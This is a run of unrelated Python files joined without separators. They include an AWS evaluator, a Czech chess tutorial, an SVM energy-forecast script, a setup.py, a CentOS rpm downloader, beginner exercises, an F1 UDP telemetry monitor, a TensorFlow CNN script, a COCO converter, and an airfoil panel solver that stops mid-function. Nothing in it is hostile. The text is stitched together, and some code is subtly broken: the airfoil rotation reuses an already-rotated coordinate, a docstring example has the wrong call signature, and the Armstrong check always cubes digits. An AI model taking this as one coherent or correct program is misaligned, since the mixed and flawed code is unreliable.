# *****************************************************************************
# * Copyright 2019 Amazon.com, Inc. and its affiliates. All Rights Reserved.  *
#                                                                             *
# Licensed under the Amazon Software License (the "License").                 *
#  You may not use this file except in compliance with the License.           *
# A copy of the License is located at                                         *
#                                                                             *
#  http://aws.amazon.com/asl/                                                 *
#                                                                             *
#  or in the "license" file accompanying this file. This file is distributed  *
#  on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either  *
#  express or implied. See the License for the specific language governing    *
#  permissions and limitations under the License.                             *
# *****************************************************************************

from evaluators.evaluator_base import EvaluatorBase

class Evaluator(EvaluatorBase):
    def __init__(self, distance_measurer, scorer, k_threshold=1):
        self.k_threshold = k_threshold
        self.distance_metric = distance_measurer
        self.scorer = scorer

    def __call__(self, query_embedding, query_target_class, gallery_embedding=None, gallery_target_class=None):
        # Compute pairwise
        pairwise_distance = self.distance_metric(query_embedding, gallery_embedding)

        score = self.scorer.score(pairwise_distance, target_label_y_query=query_target_class,
                                  target_label_x_gallery=gallery_target_class, k_threshold=self.k_threshold)
        return score


class Figurka:
    def __init__(self, strana, druh):
        self.strana = strana
        self.druh = druh

    def __str__(self):
        """Textový popis figurky"""
        return f'"{self.strana} {self.druh}"'

    def over_tah(self, sachovnice, puvodni_pozice, nova_pozice):
        """Zkontroluje, že se tato figurka může daným způsobem pohnout

        Když tah nejde provést, tahle metoda způsobí ValueError.

        sachovnice: Šachovnice, na které se figurka hýbe
        puvodni_pozice: Dvojice (radek, sloupec): kde figurka právě je
        nova_pozice: Dvojice (radek, sloupec): kam figurka má jít

        Řádky a sloupce jsou čísla 0-7.
        """

        # Pokud se figurka nehýbe, nejde o tah
        if puvodni_pozice == nova_pozice:
            raise ValueError('Nehýbe se')

        # Ven z šachovnice se nedá táhnout
        radek, sloupec = nova_pozice
        if radek < 0 or sloupec < 0 or radek >= 8 or sloupec >= 8:
            raise ValueError('Venku z šachovnice')

        # Taky se nedá táhnout na figurku stejné barvy
        figurka = sachovnice.figurka_na(nova_pozice)
        if figurka != None and figurka.strana == self.strana:
            raise ValueError(f'Blokuje {figurka} stejné barvy')

    def tahni(self, sachovnice, puvodni_pozice, nova_pozice):
        sachovnice.tahni(puvodni_pozice, nova_pozice)

class Vez(Figurka):
    def __init__(self, strana):
        super().__init__(strana, 'vez')

    def over_tah(self, sachovnice, puvodni_pozice, nova_pozice):
        # (viz dokumentační řetězec v nadtřídě.)

        # Nejdřív proveď ověření, která jsou společné všem figurkám
        super().over_tah(sachovnice, puvodni_pozice, nova_pozice)

        # Rozložení pozic (radek, sloupec) na čísla
        puvodni_radek, puvodni_sloupec = puvodni_pozice
        novy_radek, novy_sloupec = nova_pozice

        if puvodni_radek == novy_radek:
            # Věž se pohybuje "horizontálně", po řádku.
            # Potřebujeme `range` s čísly sloupců, které tím věž přeskočí.
            if puvodni_sloupec < novy_sloupec:
                # věž jde doprava
                preskocene_sloupce = range(puvodni_sloupec+1, novy_sloupec)
            else:
                # věž jde doleva
                preskocene_sloupce = range(novy_sloupec+1, puvodni_sloupec)
            # Na žádném z přeskočených políček nesmí být figurka:
            for sloupec in preskocene_sloupce:
                testovana_pozice = puvodni_radek, sloupec
                blokujici = sachovnice.figurka_na(testovana_pozice)
                if blokujici != None:
                    raise ValueError(f'V cestě je {blokujici}')
        elif puvodni_sloupec == novy_sloupec:
            # Podobně pohyb "vertikálně"
            if puvodni_radek < novy_radek:
                preskocene_radky = range(puvodni_radek+1, novy_radek)
            else:
                preskocene_radky = range(novy_radek+1, puvodni_radek)
            for radek in preskocene_radky:
                testovana_pozice = radek, puvodni_sloupec
                blokujici = sachovnice.figurka_na(testovana_pozice)
                if blokujici != None:
                    raise ValueError(f'V cestě je {blokujici}')
        else:
            raise ValueError(f'Musí se hýbat po řádku nebo sloupci')

class Sachovnice:
    def __init__(self):
        self.vybrana_pozice = None

        self.figurky = {}

        self.pridej((0, 0), Vez('bily'))
        self.pridej((0, 1), Figurka('bily', 'kun'))
        self.pridej((0, 2), Figurka('bily', 'strelec'))
        self.pridej((0, 3), Figurka('bily', 'dama'))
        self.pridej((0, 4), Figurka('bily', 'kral'))
        self.pridej((0, 5), Figurka('bily', 'strelec'))
        self.pridej((0, 6), Figurka('bily', 'kun'))
        self.pridej((0, 7), Vez('bily'))

        self.pridej((1, 0), Figurka('bily', 'pesec'))
        self.pridej((1, 1), Figurka('bily', 'pesec'))
        self.pridej((1, 2), Figurka('bily', 'pesec'))
        self.pridej((1, 3), Figurka('bily', 'pesec'))
        self.pridej((1, 4), Figurka('bily', 'pesec'))
        self.pridej((1, 5), Figurka('bily', 'pesec'))
        self.pridej((1, 6), Figurka('bily', 'pesec'))
        self.pridej((1, 7), Figurka('bily', 'pesec'))

        self.pridej((6, 0), Figurka('cerny', 'pesec'))
        self.pridej((6, 1), Figurka('cerny', 'pesec'))
        self.pridej((6, 2), Figurka('cerny', 'pesec'))
        self.pridej((6, 3), Figurka('cerny', 'pesec'))
        self.pridej((6, 4), Figurka('cerny', 'pesec'))
        self.pridej((6, 5), Figurka('cerny', 'pesec'))
        self.pridej((6, 6), Figurka('cerny', 'pesec'))
        self.pridej((6, 7), Figurka('cerny', 'pesec'))

        self.pridej((7, 0), Vez('cerny'))
        self.pridej((7, 1), Figurka('cerny', 'kun'))
        self.pridej((7, 2), Figurka('cerny', 'strelec'))
        self.pridej((7, 3), Figurka('cerny', 'dama'))
        self.pridej((7, 4), Figurka('cerny', 'kral'))
        self.pridej((7, 5), Figurka('cerny', 'strelec'))
        self.pridej((7, 6), Figurka('cerny', 'kun'))
        self.pridej((7, 7), Vez('cerny'))

    def figurka_na(self, pozice):
        """Vrátí figurku na daných souřadnicích, nebo None"""
        radek, sloupec = pozice
        return self.figurky.get((radek, sloupec))

    def vrat_vybranou_figurku(self):
        """Vrátí figurku, která je právě vybraná (bude se hýbat)"""
        pozice = self.vybrana_pozice
        if pozice:
            return self.figurka_na(pozice)

    def pridej(self, pozice, figurka):
        """Přidá danou figurku na danou pozici

        Pokud je na cílové pozici jiná figurka, vyhodí ji.
        """
        self.figurky[pozice] = figurka

    def tahni(self, z, na):
        """Přemístí figurku z jedné pozice na druhou.

        Pokud je na cílové pozici jiná figurka, vyhodí ji.
        """
        figurka = self.figurky.pop(z)
        self.pridej(na, figurka)

    def muze_tahnout(self, nova_pozice):
        """Vrátí true, pokud právě vybraná figurka může táhnout na danou pozici
        """
        figurka = self.vrat_vybranou_figurku()
        if figurka == None:
            return False
        else:
            try:
                figurka.over_tah(self, self.vybrana_pozice, nova_pozice)
            except ValueError:
                return False
            else:
                return True

    def vyber_pozici(self, pozice):
        """Vybere figurku na dané pozici"""

        figurka = self.figurka_na(pozice)
        if figurka:
            self.vybrana_pozice = pozice
        else:
            self.vybrana_pozice = None

    def tahni_na_pozici(self, pozice):
        """Táhne vybranou figurkou na danou pozici"""

        if self.vybrana_pozice == None:
            return

        popis_z = popis_pozici(self.vybrana_pozice)
        popis_na = popis_pozici(pozice)

        figurka = self.figurka_na(self.vybrana_pozice)
        try:
            figurka.over_tah(self, self.vybrana_pozice, pozice)
        except ValueError as chyba:
            print(f'{figurka} nemůže na z {popis_z} na {popis_na}: {chyba}!')
        else:
            print(f'{figurka} jde z {popis_z} na {popis_na}!')
            figurka.tahni(self, self.vybrana_pozice, pozice)
        self.vybrana_pozice = None

    def vykresli_se(self, kresli_obrazek):
        """Vykreslí šachovnici do Pyglet okýnka

        Jako argument bere funkce kresli_obrazek(figurka, radek, sloupec),
        která zajistí samotné vykreslení.
        """

        # Pozadí - střídavá políčka
        for radek in range(8):
            for sloupec in range(8):
                if (radek + sloupec) % 2 == 1:
                    kresli_obrazek('pole', radek, sloupec)
                else:
                    kresli_obrazek('pole2', radek, sloupec)

                # Označení možných tahů
                if self.vybrana_pozice:
                    kreslena_pozice = (radek, sloupec)
                    figurka = self.figurka_na(self.vybrana_pozice)
                    try:
                        figurka.over_tah(
                            self,
                            self.vybrana_pozice,
                            kreslena_pozice,
                        )
                    except ValueError as chyba:
                        pass
                    else:
                        kresli_obrazek('muze', radek, sloupec)

        # Figurky
        for (radek, sloupec), figurka in self.figurky.items():
            kresli_obrazek(f'{figurka.strana}_{figurka.druh}', radek, sloupec)

        # Výběr
        if self.vybrana_pozice:
            radek, sloupec = self.vybrana_pozice
            kresli_obrazek('vyber', radek, sloupec)

    def __str__(self):
        """Převede šachovnici na řetězec, který se dá vypsat"""

        # Tohle je variace na vypsání tabulky (úkoly typu "vypiš čtverec
        # poskládaný ze znaků X"), ale místo vypsání pomocí `print` se
        # spojí do jednoho řetězce.

        radky = ['   a b c d e f g h   ']
        for cislo_radku in range(8):
            radek = []
            for cislo_sloupce in range(8):
                pozice = cislo_radku, cislo_sloupce
                figurka = self.figurky.get(pozice)
                if figurka:
                    # Vybrání znaku pro danou figurku
                    jmena_figurek = 'kral dama vez strelec kun pesec'
                    d = jmena_figurek.split().index(figurka.druh)
                    s = 'bily cerny'.split().index(figurka.strana)
                    fig = "♔♕♖♗♘♙♚♛♜♝♞♟"[s * 6 + d]

                    radek.append(f' {fig}')
                else:
                    radek.append('  ')
            cislo = 8 - cislo_radku
            radky.append(f'{cislo} {"".join(radek)}  {cislo}')
        radky.append('   a b c d e f g h   ')
        return '\n'.join(radky)

def popis_pozici(pozice):
    """Popíše pozici pro lidi

    např:

    >>> popis_pozici(0, 0)
    'a1'

    """
    radek, sloupec = pozice
    return "abcdefgh"[sloupec] + "12345678"[radek]


##### 1
import pandas
import quandl, math, datetime, time
import numpy as np
from sklearn import preprocessing, model_selection, svm #svm is here for regression
from sklearn.linear_model import LinearRegression
from sklearn.metrics import mean_squared_error
import matplotlib.pyplot as plt
from matplotlib import style

style.use('ggplot')

def svc_param_selection(X, y, nfolds):
    Cs = [0.001, 0.01, 0.1, 1, 10]
    gammas = [0.001, 0.01, 0.1, 1]
    param_grid = {'C': Cs, 'gamma' : gammas}
    grid_search = model_selection.GridSearchCV(svm.SVC(kernel='rbf'), param_grid, cv=nfolds)
    grid_search.fit(X, y)
    grid_search.best_params_
    return grid_search.best_params_

dateparse = lambda dates: pandas.datetime.strptime(dates, '%Y-%m-%d %H:%M:%S')

# 1. read_input
# https://archive.ics.uci.edu/ml/datasets/Appliances+energy+prediction
energy_data_df = pandas.read_csv(
	'../input/energydata_complete.csv',
	index_col='date',
	date_parser=dateparse
)

# 2. organize_input
energy_data_df.fillna(-99999, inplace=True)

for lag in range(5):

	print('\n\n\n -------- Running iteration for lag = {} --------'.format(lag))

	energy_data_df['label'] = energy_data_df['Appliances'].shift(-lag)
	energy_data_df.dropna(inplace=True)

	features_to_drop = [
		'Appliances','label','rv1','rv2',
		'T1', 'T2', 'T3', 'T4', 'T5', 'T6', 'RH_6', 'T7', 'T8',
		'T9', 'T_out', 'Tdewpoint'
	]

	X = np.array(energy_data_df.drop(features_to_drop,1))
	y = np.array(energy_data_df['label'])

	X = preprocessing.scale(X)

	train_frac = 0.8
	traintest= int(math.ceil(train_frac*len(X)))

	X_train = X[:traintest]
	X_test = X[traintest:]
	y_train = y[:traintest]
	y_test = y[traintest:]

	# 3. analyze_ts
	# granger causality test, cross correlation or ...

	# 4. forecast_ts

	#print('finding optimal value for C and gamma...')
	#svc_params = svc_param_selection(X_train, y_train, None)
	#print(svc_params) # --> {'C': 0.001, 'gamma': 0.001}
	#print('above are the optimal values of C and gamma')
	#time.sleep(55)

	#for model in [LinearRegression(), svm.SVR(), svm.SVR(kernel = 'poly'), svm.SVC()]:
	for model in [svm.SVC(C=100, gamma=0.001)]:

		rgr = model
		#rgr = svm.SVR() #SVM SVR classifier #default kernel is linear
		#rgr = svm.SVR(kernel = 'poly') #SVM SVR + kernel = poly
		#rgr = svm.SVC()

		rgr.fit(X_train, y_train)

		#print('Coefficients: \n', rgr.coef_)

		# 5. evaluate_results
		accuracy = rgr.score(X_test, y_test)

		y_test_predict = rgr.predict(X_test)

		RMSE = np.power(mean_squared_error(y_test, y_test_predict), 1./2,)
		print('\nFor model {}, \n R2_value = {}\n RMSE = {}\n'.format(model,accuracy,RMSE))

		plot = 1
		if plot:
			from matplotlib import pyplot
			pyplot.plot(y_test_predict)
			pyplot.plot(y_test)
			pyplot.show()


#!/usr/bin/env python
# coding=utf-8
"""
graf-filter-sma

Graf plugin for adding simple moving average filter

(C) 2013 hashnote.net, Alisue
"""
name = 'graf-filter-sma'
version = '0.1.0'
author = 'Alisue'
author_email = 'lambdalisue@hashnote.net'

import os
from setuptools import setup, find_packages

setup(
    name=name,
    version=version,
    description = "",
    long_description=__doc__,
    classifiers = [
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT License',
        'Programming Language :: Python',
    ],
    keywords = "graf",
    author = author,
    author_email = author_email,
    license = 'MIT',
    packages = find_packages('src'),
    package_dir = {'': 'src'},
    namespace_package = [
        'graf',
        'graf.builtins',
        'graf.plugins',
        'graf.plugins.filters',
        'graf.plugins.parsers',
        'graf.plugins.loaders',
    ],
    include_package_data = True,
    exclude_package_data = {'': ['README.md']},
    zip_safe = True,
    install_requires=[
        'graf',
    ],
    entry_points={
        'graf.plugins': [
            'filters.sma = graf.plugins.filters.sma:__plugin__',
        ],
    },
)


#!/usr/bin/env python3

import ftplib
import os
import socket
import re

#获取要下载的rpm包名
def get_packages(f,DIR,os_name):
    download_packages = []
    try:
        rpm_packages = f.nlst(DIR % os_name[len(os_name) - 2])
        for i in rpm_packages:
            package_name = i.split('/')
            temp = package_name[len(package_name) - 1].split('-')
            if temp[0] == 'python':
                if re.search(r'\d+\.el7\.x86_64\.rpm', temp[len(temp) - 1]):
                    if re.match(r'(([\d\.]+)|(devel)|(libs)|(pycurl))$', temp[1]):
                        download_packages.append(package_name[len(package_name) - 1])

                elif re.search(r'\d+\.el7\.noarch\.rpm', temp[len(temp) - 1]):
                    if re.match(r'((iniparse)|(urlgrabber))$', temp[1]):
                        download_packages.append(package_name[len(package_name) - 1])

            elif temp[0] == 'yum':
                if re.search(r'\d+\.el7\.noarch\.rpm', temp[len(temp) - 1]):
                    if len(temp) == 5:
                        if (temp[1] == 'plugin') & (temp[2] == 'fastestmirror'):
                            download_packages.append(package_name[len(package_name) - 1])

                elif re.search(r'\d+\.el7\.centos\.noarch\.rpm', temp[len(temp) - 1]):
                    if len(temp) == 3:
                        download_packages.append(package_name[len(package_name) - 1])
                elif re.search(r'\d+\.el7\.x86_64\.rpm', temp[len(temp) - 1]) :
                    if len(temp) == 5:
                        if (temp[1] == 'metadata') & (temp[2] == 'parser'):
                            download_packages.append(package_name[len(package_name) - 1])

            elif temp[0] == 'rpm':
                if re.search(r'\d+\.el7\.x86_64\.rpm', temp[len(temp) - 1]):
                    if temp[1] == 'python':
                        if len(temp) == 4:
                            download_packages.append(package_name[len(package_name) - 1])
        print("要下载的rpm包：%s" % download_packages)
        return download_packages

    except ftplib.error_perm:
        print("ERROR cannot list packages! PATH:%s" % DIR)
        f.quit()

#下载rpm包
def download_rpm_package(f,DIR,os_name,download_packages):
    try:
        f.cwd(DIR % os_name[len(os_name) - 2])

        # 下载rpm包
        for package in download_packages:
            print("Downloading %s" % package)
            try:
                f.retrbinary('RETR %s' % package, open(package, 'wb').write)
            except ftplib.error_perm:
                print("ERROR: cannot read file %s" % package)
                os.unlink(package)
            else:
                print("*** Download %s to CWD" % package)

    except ftplib.error_perm:
        print("ERROR cannot CD to %s folder" % DIR)
        f.quit()
        return
    print("*** Change to %s folder" % DIR)

    f.quit()

def main():
    '''
       python、yum重新安装参考网址：https://www.2cto.com/kf/201806/755283.html
       rpm包下载链接：https://mirrors.ustc.edu.cn/centos/
    '''

    HOST = 'mirrors.ustc.edu.cn'
    DIR = '/centos/%s/os/x86_64/Packages/'

    # 连接FTP服务器
    try:
        f = ftplib.FTP(HOST)
    except (socket.error, socket.gaierror) as e:
        print("ERROR: cannont reach %s" % HOST)
        return
    print("*** Connected to host %s" % HOST)

    # 匿名登录FTP服务器
    try:
        f.login()
        print("**** 已登录FTP服务器 ****")
    except ftplib.error_perm:
        print("ERROR: canont login anonymously")
        f.quit()
        return

    # 获取操作系统版本
    os_name = os.popen('cat /etc/redhat-release').readlines()
    os_name = os_name[0].split()
    print("操作系统为：%s\t版本号：%s" % (os_name[0], os_name[len(os_name) - 2]))

    # 获取要下载的rpm包名
    download_packages_name = get_packages(f,DIR,os_name)

    # 进入到rpm包的目录下
    download_rpm_package(f,DIR,os_name,download_packages_name)

    # 重新安装python2 和 yum
    if os.system('chmod a+x install_python_yum.sh && ./install_python_yum.sh') == 0:
        print("安装成功！")
    else:
        print("安装过程中出现错误！")

if __name__ == '__main__':
    main()


def main():
  n = [int(x) for x in input().split('/')]
  a = n[0]
  b = n[1]

  a -= (32*b)

  a *= 5
  b *= 9

  negative = True if a < 0 else False
  if negative:
    a *= -1

  for i in range(2, 1001):
    while a % i == 0 and b % i == 0:
      a = a // i
      b = b // i

  if a == 0:
    b = 1
  if negative:
    a *= -1
  print(str(a) + '/' + str(b))

if __name__ == '__main__':
  main()


# Write a program determine whether the given number is Armstrong number or not.
# The program should return true or false

def checkArmstrong(num):
        # Your code goes here
        li=list(str(num))
        sum=0
        for i in li:
                sum+=int(i)**3
        if sum==num:
                return True
        return False


#! /usr/bin/env python3

"""This script monitors a UDP port for F1 2019 telemetry packets and prints useful info upon reception."""

import argparse
import sys
import socket
import threading
import logging
import selectors
import math

from .threading_utils import WaitConsoleThread, Barrier
from ..packets import PacketID, unpack_udp_packet

class PacketMonitorThread(threading.Thread):
    """The PacketMonitorThread receives incoming telemetry packets via the network and shows interesting information."""

    def __init__(self, udp_port):
        super().__init__(name='monitor')
        self._udp_port = udp_port
        self._socketpair = socket.socketpair()

        self._current_frame = None
        self._current_frame_data = {}

    def close(self):
        for sock in self._socketpair:
            sock.close()

    def run(self):
        """Receive incoming packets and print info about them.

        This method runs in its own thread.
        """

        udp_socket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

        # Allow multiple receiving endpoints.
        if sys.platform in ['darwin']:
            udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
        elif sys.platform in ['linux', 'win32']:
            udp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # Accept UDP packets from any host.
        address = ('', self._udp_port)
        udp_socket.bind(address)

        selector = selectors.DefaultSelector()

        key_udp_socket = selector.register(udp_socket, selectors.EVENT_READ)
        key_socketpair = selector.register(self._socketpair[0], selectors.EVENT_READ)

        logging.info("Monitor thread started, reading UDP packets from port {}.".format(self._udp_port))

        quitflag = False
        while not quitflag:
            for (key, events) in selector.select():
                if key == key_udp_socket:
                    # All telemetry UDP packets fit in 2048 bytes with room to spare.
                    udp_packet = udp_socket.recv(2048)
                    packet = unpack_udp_packet(udp_packet)
                    self.process(packet)
                elif key == key_socketpair:
                    quitflag = True

        self.report()

        selector.close()
        udp_socket.close()
        for sock in self._socketpair:
            sock.close()

        logging.info("Monitor thread stopped.")

    def process(self, packet):

        if packet.header.frameIdentifier != self._current_frame:
            self.report()
            self._current_frame = packet.header.frameIdentifier
            self._current_frame_data = {}

        self._current_frame_data[PacketID(packet.header.packetId)] = packet

    def report(self):
        if self._current_frame is None:
            return

        any_packet = next(iter(self._current_frame_data.values()))

        player_car = any_packet.header.playerCarIndex

        try:
            distance = self._current_frame_data[PacketID.LAP_DATA].lapData[player_car].totalDistance
        except:
            distance = math.nan

        message = "frame {:6d} distance {:10.3f}".format(self._current_frame, distance)

        if message is not None:
            logging.info(message)

    def request_quit(self):
        """Request termination of the PacketMonitorThread.

        Called from the main thread to request that we quit.
        """
        self._socketpair[1].send(b'\x00')

def main():
    """Record incoming telemetry data until the user presses enter."""

    # Configure logging.

    logging.basicConfig(level=logging.DEBUG, format="%(asctime)-23s | %(threadName)-10s | %(levelname)-5s | %(message)s")
    logging.Formatter.default_msec_format = '%s.%03d'

    # Parse command line arguments.

    parser = argparse.ArgumentParser(description="Monitor UDP port for incoming F1 2019 telemetry data and print information.")

    parser.add_argument("-p", "--port", default=20777, type=int, help="UDP port to listen to (default: 20777)", dest='port')

    args = parser.parse_args()

    # Start recorder thread first, then receiver thread.

    quit_barrier = Barrier()

    monitor_thread = PacketMonitorThread(args.port)
    monitor_thread.start()

    wait_console_thread = WaitConsoleThread(quit_barrier)
    wait_console_thread.start()

    # Monitor and wait_console threads are now active. Run until we're asked to quit.

    quit_barrier.wait()

    # Stop threads.

    wait_console_thread.request_quit()
    wait_console_thread.join()
    wait_console_thread.close()

    monitor_thread.request_quit()
    monitor_thread.join()
    monitor_thread.close()

    # All done.

    logging.info("All done.")

if __name__ == "__main__":
    main()


# Phillip de Sousa Silva
# Lab 04,Ex 06
# 26/07/2016

from math import*

x = int(input("X:"))

k=0
t=0
while x > 0:

	t = t + 1/(factorial(k))

	x = x-1

	k = k+1

print(round(t,8))


import tensorflow as tf
import numpy as np
from CNN import CNN
from AutoEncoder import AutoEncoder
from ReadDataset import read
from ReadDataset import patitioning
from ReadDataset import splitData
from ReadDataset import splitLabel
np.set_printoptions(threshold=np.nan)

def createLayer(index, numOfOutput):

    training_data = np.array(Datasplit[index], dtype=np.float32)
    training_label = np.array(DatasplitLabel[index], dtype=np.float32)
    test_data = np.array(Datatest[index], dtype=np.float32)
    test_label = np.array(DatatestLabel[index], dtype=np.float32)

    cnn = CNN(numOfOutput=numOfOutput,learning_rate=0.01, epochs=40,batch_size=500)
    # output layer
    y_ = cnn.initial_mlp_network()
    with tf.device('/cpu:0'):
      training_label_onehot = sess.run(
        tf.one_hot(indices=training_label, depth=numOfOutput, dtype=np.float64))
      test_label_onehot = sess.run(
        tf.one_hot(indices=test_label, depth=numOfOutput, dtype=np.float64))

    cnn_accuricy, cnn_predict_label = cnn.calculate_session(y_, training_data, training_label_onehot, test_data,
                                                             test_label_onehot)
    print(cnn_accuricy)
    return cnn_accuricy

config = tf.ConfigProto()
config.gpu_options.allow_growth = True
config.gpu_options.allocator_type = 'BFC'
sess = tf.Session(config=config)

training_data, training_label = read()
test_data, test_label = read(dataset="testing")
training_label_split = patitioning(training_label)
test_label_split = patitioning(test_label)
# One hot encoding
training_label_onehot = sess.run(
    tf.one_hot(indices=training_label_split, depth=max(training_label_split + 1), dtype=np.float64))
test_label_onehot = sess.run(
    tf.one_hot(indices=test_label_split, depth=max(test_label_split + 1), dtype=np.float64))
cnn = CNN(numOfOutput=7, epochs=30,batch_size=500)
# output layer
y_ = cnn.initial_mlp_network()
cnn_accuricy, cnn_predict_label = cnn.calculate_session(y_, training_data, training_label_onehot, test_data,
                                                        test_label_onehot)

# split data and result for next layouts
Datasplit = splitData(training_data, training_label_split)
Datatest = splitData(test_data, cnn_predict_label)
DatasplitLabel = splitLabel(training_label, training_label_split)
DatatestLabel = splitLabel(test_label, cnn_predict_label)

print("Calculate layer2")
res1 = createLayer(0,4)
res2 = createLayer(1,6)
res3 = createLayer(2,6)
res4 = createLayer(3,4)
res5 = createLayer(4,2)
res6 = createLayer(5,2)
res7=createLayer(6,12)
print("step1 accuricy:",cnn_accuricy)
print(res1,res2,res3,res4,res5,res6,res7)


#!/usr/bin/env python3
# @Time    : 23/5/20 6:25 PM
# @Author  : fangcheng.ji
# @FileName: csv2coco.py

import pandas as pd
import numpy as np
import re
import json
from random import shuffle

DIR_INPUT = '/data/fangcheng.ji/datasets/wheat'
DIR_TRAIN = f'{DIR_INPUT}/train'
DIR_TEST = f'{DIR_INPUT}/test'

train_df = pd.read_csv(f'{DIR_INPUT}/train.csv')
train_df.shape

train_df['x'] = -1
train_df['y'] = -1
train_df['w'] = -1
train_df['h'] = -1

def expand_bbox(x):
    r = np.array(re.findall("([0-9]+[.]?[0-9]*)", x))
    if len(r) == 0:
        r = [-1, -1, -1, -1]
    return r

train_df[['x', 'y', 'w', 'h']] = np.stack(train_df['bbox'].apply(lambda x: expand_bbox(x)))
train_df.drop(columns=['bbox'], inplace=True)
train_df['x'] = train_df['x'].astype(np.float)
train_df['y'] = train_df['y'].astype(np.float)
train_df['w'] = train_df['w'].astype(np.float)
train_df['h'] = train_df['h'].astype(np.float)

image_ids = train_df['image_id'].unique()
shuffle(image_ids)

valid_ids = image_ids[:int(len(image_ids) * 0.07)]
train_ids = image_ids[int(len(image_ids) * 0.07):]

valid_df = train_df[train_df['image_id'].isin(valid_ids)]
train_df = train_df[train_df['image_id'].isin(train_ids)]

def convert_coco(df_dataset):
    dataset = {
        "info": {},
        "licenses": [],
        "images": [],
        "annotations": [],
        "categories": [],
    }

    dataset['categories'].append({
        'id': 1,
        'name': "wheat",
        'supercategory': "wheat",
        'skeleton': []
    })

    image_ids = []
    for i in range(0, len(df_dataset)):
        image_id = df_dataset.iloc[i]['image_id']
        width = df_dataset.iloc[i]['width']
        height = df_dataset.iloc[i]['height']
        if image_id not in image_ids:
            image_ids.append(image_id)
            dataset['images'].append({
                'coco_url': '',
                'date_captured': '',
                'file_name': str(image_id) + '.jpg',
                'flickr_url': '',
                'id': int(len(image_ids) - 1),
                'license': 0,
                'width': int(width),
                'height': int(height)
            })

        x = df_dataset.iloc[i]['x']
        y = df_dataset.iloc[i]['y']
        w = df_dataset.iloc[i]['w']
        h = df_dataset.iloc[i]['h']

        dataset['annotations'].append({
            'area': w * h,
            'bbox': [x, y, w, h],
            'category_id': 1,
            'id': int(i),
            'image_id': int(len(image_ids) - 1),
            'iscrowd': 0,
        })

    print(f"finished convert {len(image_ids)} images, {len(df_dataset)} instances")
    return dataset

json_name = DIR_INPUT + '/train.json'
with open(json_name, 'w') as f:
    json.dump(convert_coco(train_df), f)

json_name = DIR_INPUT + '/valid.json'
with open(json_name, 'w') as f:
    json.dump(convert_coco(valid_df), f)

print("finished!")


import math
import numpy as np
import pylab as pl
import scipy
import os

"""
USER NOTE!
WHEN RUNNING THE CODE FOR THE FIRST TIME, THE CODE SEARCHES FOR A cl.out FILE
FROM THE SAME DIRECTORY AS THE CODE. CREATE THIS FILE MANUALLY BEFORE RUNNING THE CODE
"""

class Panel(object):

        def __init__(self,start_x,start_z,end_x,end_z,angle):

                """
                Rotate the points if alfa !=0
                """

                if (angle!=0.):

                        theta = math.radians(-angle)
                        start_x = start_x*np.cos(theta)-start_z*np.sin(theta)
                        end_x   = end_x*np.cos(theta)-end_z*np.sin(theta)

                        start_z = start_x*np.sin(theta)+start_z*np.cos(theta)
                        end_z = end_x*np.sin(theta)+end_z*np.cos(theta)

                self.length = np.sqrt((end_x-start_x)**2 + (end_z - start_z)**2)
                self.xcoord = (start_x+end_x)/2.
                self.zcoord = (start_z+end_z)/2.

                self.start_x = start_x
                self.start_z = start_z

                self.end_x = end_x
                self.end_z = end_z

                self.sin_theta = (end_z - start_z)/self.length
                self.cos_theta = (end_x - start_x)/self.length

        def get_rij(self,neighbour):
                """
                returns the length of rij vector
                """

                x1 = neighbour.start_x
                x2 = self.xcoord

                z1 = neighbour.start_z
                z2 = self.zcoord

                diff_x = x2 - x1
                diff_z = z2 - z1

                return (np.sqrt(diff_x**2 + diff_z**2))

        def get_rij_plus(self,neighbour):
                """
                returns the length of rij+1
                """

                x1 = neighbour.end_x
                x2 = self.xcoord

                z1 = neighbour.end_z
                z2 = self.zcoord

                diff_x = x2 - x1
                diff_z = z2 - z1

                return (np.sqrt(diff_x**2 + diff_z**2))

        def get_beta(self,neighbour):

                """
                returns the beta angle as radians
                """

                delta_y = (self.zcoord-neighbour.end_z)*(self.xcoord-neighbour.start_x)\
                        -(self.xcoord-neighbour.end_x)*(self.zcoord-neighbour.start_z)

                delta_x = (self.xcoord-neighbour.end_x)*(self.xcoord-neighbour.start_x)\
                        +(self.zcoord-neighbour.end_z)*(self.zcoord-neighbour.start_z)

                beta = math.atan2(delta_y, delta_x)

                if (self == neighbour):
                        return math.pi

                else:
                        return beta

def main():

        U = 1.
        W = 0.
        panel_amount = 150
        last_digits = 12
        angle_list = np.arange(-5,16,1)

        for angle in angle_list:
                run_code(U,W,angle,panel_amount,last_digits)

def run_code(U,W,angle,panel_amount,last_digits):

        c = 1.
        alfa = 0.

        #panel_generator(last_digits_of_naca, chord length, number of panels, rotation angle)
        panels = panel_generator(last_digits,c,panel_amount,angle)

        #forms the Aij matrix and calculates the values 1...N * 1...N
        mat_AIJ = matrix_Aij(panels)

        #calculates values A_i,n+1, A_n+1,j and A_n+1,n+1
        final_A = matrix_Aij_plus(panels,mat_AIJ)

        #calculates the right hand side of the system
        b = RHS(panels,U,W,alfa)

        #solves the system
        x = np.linalg.solve(final_A,b)

        #calculates the tangential velocities from the sigma and gamma values
        v=Velocities(panels,x,U,W,alfa)

        #output results
        post_process(v,panels,U,W,x,c,angle)

def post_process(v,panels,U,W,x,c,angle):

        cp = []
        xcoord = []
        circ = []

        for i in v:
                temp = 1-(i**2/(U**2 + W**2))
                cp.append(temp)

        for i in panels:
                xcoord.append(i.xcoord)

        for i in panels:
                circ.append(i.length*x[-1])

        cp = np.array(cp)
        xcoord = np.array(xcoord)
        circ = np.array(circ)

        cl = (np.sum(circ))/(0.5*U*c)
        cl_theory = 2*np.pi*np.sin(math.radians(angle))

        print ("cl = {}, cl_t = {} angle = {}".format(cl,cl_theory,angle))

        """
        write the lift coefficients to a single file
        """
        if (angle == 0.):
                os.remove("cl.out")
                cl_file = open('cl.out', 'a')
                cl_file.write("#alfa    cl\n".format(angle,cl))
                cl_file.close()

        cl_file = open('cl.out', 'a')
        cl_file.write("{0:5f} {1:5f}\n".format(angle,cl))
        cl_file.close()

        """
        write the cp to separate files for alfa = 0,10 and 15
        """
        if (angle==0. or angle==10. or angle==15.):
                np.savetxt('cp_{}.out'.format(angle), np.c_[xcoord,cp[1:]])

def matrix_Aij(panels):

        #Initialize the matrix
